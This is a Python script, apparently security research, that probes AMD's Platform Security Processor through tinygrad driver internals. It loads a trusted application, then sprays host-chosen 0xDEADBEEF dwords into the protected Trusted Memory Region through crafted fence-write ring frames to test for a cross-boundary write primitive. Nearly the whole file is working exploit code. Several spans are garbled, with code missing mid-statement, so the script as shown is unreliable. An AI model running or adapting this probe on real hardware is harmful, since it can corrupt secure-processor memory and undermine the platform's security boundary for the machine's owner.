#!/usr/bin/env python3 """Do fence writes into the trusted region actually LAND? Functional test. Established this pass: * the PSP writes a host-chosen dword (fence_value) to a host-chosen address (fence_addr); * fence_addr inside the TMR is ACCEPTED -- the command completes, PSP stays healthy -- while cmd_buf inside the TMR is rejected. The check on one is missing on the other. Unresolved: whether the write lands in the TMR or is dropped by hardware protection. The host cannot read the TMR, so test FUNCTIONALLY: a loaded TA lives in the TMR, so spray host-chosen dwords across the region and see whether the TA's behaviour changes. phase 1 load TA, invoke, record baseline statuses (control) phase 2 spray N dwords of 0xDEADBEEF across a TMR range (via fence writes) phase 3 invoke again and compare A behaviour change proves the writes reached PSP-owned memory: a host-controlled write primitive across the security boundary. No change after a broad spray argues the writes are dropped, which is the honest alternative. """ import ctypes, glob, struct, sys, time sys.path.insert(0,'/root/psp/hw') from tinygrad import Device import tinygrad.runtime.autogen.am.am as am adev=Device["AMD"].iface.dev_impl; psp=adev.psp RESP=864 frame_sz=ctypes.sizeof(am.struct_psp_gfx_rb_frame); step=frame_sz//4 def alloc(n): pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa) tmr_mc=adev.paddr2mc(psp.tmr_paddr); TMR_SZ=0x1300000 blob=open(glob.glob('/root/psp/contall/ta_42-0-0-6_1c874c3c*')[0],'rb').read() ap_,amc=alloc(0x80000); cp,cmc=alloc(0x8000) n=(len(blob)+3)&~3 adev.vram.view(ap_,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp() def raw(cmd_bytes, fence_mc, fence_val, wait=0.4): adev.vram.view(psp.cmd_paddr, len(cmd_bytes))[:]=cmd_bytes adev.vram.view(psp.cmd_paddr+RESP,4,'I')[0]=0xA5A5A5A5 adev.gmc.flush_hdp() wmax=psp.ring_size//4 prev=adev.reg(f"{psp.reg_pref}_67").read()%wmax msg=am.struct_psp_gfx_rb_frame(fence_value=fence_val, cmd_buf_addr_lo=adev.paddr2mc(psp.cmd_paddr)&0xFFFFFFFF, cmd_buf_addr_hi=adev.paddr2mc(psp.cmd_paddr)>>32, fence_addr_lo=fence_mc&0xFFFFFFFF, fence_addr_hi=fence_mc>>32) adev.vram.view(psp.ring_paddr+prev*4, ctypes.sizeof(msg))[:]=memoryview(msg).cast('B') adev.reg(f"{psp.reg_pref}_67").write((prev+step)%wmax) t0=time.time() while time.time()-t0 < wait: adev.gmc.flush_hdp() v=struct.unpack_from('>32; t.app_len=len(blob) t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=0x4000 return bytes(memoryview(c).cast('B')) def mk_inv(sid,cid): c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD) iv=c.cmd.cmd_invoke_cmd; iv.session_id,iv.ta_cmd_id=sid,cid return bytes(memoryview(c).cast('B')) scratch,smc=alloc(0x1000) st,dt=raw(mk_load(), smc, 1) sid=struct.unpack_from(' %s sid=%s'%(hex(st) if st is not None else 'TIMEOUT',sid), flush=True) base=[] for cid in range(0,6): b=bytearray(0x4000); struct.pack_into('1 else 400 STRIDE=int(sys.argv[2],0) if len(sys.argv)>2 else 0x1000 ok=0; timeouts=0 for i in range(NSPRAY): off=(i*STRIDE)%TMR_SZ s,_=raw(spray_cmd, tmr_mc+off, 0xDEADBEEF, wait=0.25) if s is None: timeouts+=1 else: ok+=1 if timeouts>3: print(' aborting: PSP stopped responding at spray %d'%i, flush=True); break print('phase2 sprayed %d dwords over TMR+0..%#x (completed=%d timeouts=%d)' %(min(i+1,NSPRAY), (min(i+1,NSPRAY)*STRIDE)%TMR_SZ or TMR_SZ, ok, timeouts), flush=True) after=[] for cid in range(0,6): b=bytearray(0x4000); struct.pack_into(' writes landed in PSP-owned memory' if after!=base else 'identical -> no observable effect from the sprayed writes'), flush=True)